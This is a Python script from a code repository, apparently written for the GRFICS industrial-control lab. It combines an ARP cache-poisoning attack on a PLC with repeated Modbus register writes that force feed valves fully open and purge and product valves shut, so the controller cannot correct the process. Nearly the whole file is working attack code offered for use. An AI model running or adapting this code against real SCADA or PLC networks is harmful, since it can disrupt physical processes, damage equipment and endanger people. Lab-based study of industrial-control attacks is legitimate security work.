Newer
Older
SCADA / modbus / GRFICS_bang.py
  1. #!/usr/bin/env python
  2.  
  3. """
  4. File: GRFICS_bang.py
  5. Desc: Set the registers to values wanted and ARP poison the PLC so it can't correct.
  6. """
  7. __author__ = '0xRoM'
  8. from scapy.all import Ether, ARP, srp, send
  9. from pyModbusTCP.client import ModbusClient
  10. from multiprocessing import Process
  11. import time
  12. import sys
  13. import os
  14.  
  15. def _enable_linux_iproute():
  16. """
  17. Enables IP route ( IP Forward ) in linux-based distro
  18. """
  19. os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
  20.  
  21. def get_mac(ip):
  22. """
  23. Returns MAC address of any device connected to the network
  24. If ip is down, returns None instead
  25. """
  26. ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
  27. if ans:
  28. return ans[0][1].src
  29.  
  30. def spoof(target_ip, host_ip, verbose=True):
  31. """
  32. Spoofs `target_ip` saying that we are `host_ip`.
  33. it is accomplished by changing the ARP cache of the target (poisoning)
  34. """
  35. # get the mac address of the target
  36. target_mac = get_mac(target_ip)
  37. # craft the arp 'is-at' operation packet, in other words; an ARP response
  38. # we don't specify 'hwsrc' (source MAC address)
  39. # because by default, 'hwsrc' is the real MAC address of the sender (ours)
  40. arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
  41. # send the packet
  42. # verbose = 0 means that we send the packet without printing any thing
  43. send(arp_response, verbose=0)
  44. if verbose:
  45. # get the MAC address of the default interface we are using
  46. self_mac = ARP().hwsrc
  47. print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
  48.  
  49. def restore(target_ip, host_ip, verbose=True):
  50. """
  51. Restores the normal process of a regular network
  52. This is done by sending the original informations
  53. (real IP and MAC of `host_ip` ) to `target_ip`
  54. """
  55. # get the real MAC address of target
  56. target_mac = get_mac(target_ip)
  57. # get the real MAC address of spoofed (gateway, i.e router)
  58. host_mac = get_mac(host_ip)
  59. # crafting the restoring packet
  60. arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
  61. # sending the restoring packet
  62. # to restore the network to its normal process
  63. # we send each reply seven times for a good measure (count=7)
  64. send(arp_response, verbose=0, count=7)
  65. if verbose:
  66. print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
  67.  
  68. def spoof_wrapper():
  69. while True:
  70. spoof(arp_target, arp_host, verbose)
  71.  
  72. arp_target = "192.168.95.2"
  73. arp_host = "192.168.95.1"
  74. verbose = False
  75. _enable_linux_iproute()
  76.  
  77. try:
  78. p = Process(target=spoof_wrapper)
  79. p.start()
  80. #p.join() # wait for it to finish! *yuk*
  81.  
  82. while True:
  83.  
  84. # set A
  85. client=ModbusClient(host="192.168.95.10",port=502,auto_open=True,auto_close=True,timeout=10)
  86. client.write_single_register(1,65535)
  87. client.close()
  88.  
  89. # set B
  90. client=ModbusClient(host="192.168.95.11",port=502,auto_open=True,auto_close=True,timeout=10)
  91. client.write_single_register(1,65535)
  92. client.close()
  93.  
  94. # set purge
  95. client=ModbusClient(host="192.168.95.12",port=502,auto_open=True,auto_close=True,timeout=10)
  96. client.write_single_register(1,0)
  97. client.close()
  98.  
  99. # set product
  100. client=ModbusClient(host="192.168.95.13",port=502,auto_open=True,auto_close=True,timeout=10)
  101. client.write_single_register(1,0)
  102. client.close()
  103.  
  104. #time.sleep(0.2)
  105.  
  106. except KeyboardInterrupt:
  107. print("[!] Detected CTRL+C ! restoring the network, please wait...")
  108. restore(arp_target, arp_host)
Buy Me A Coffee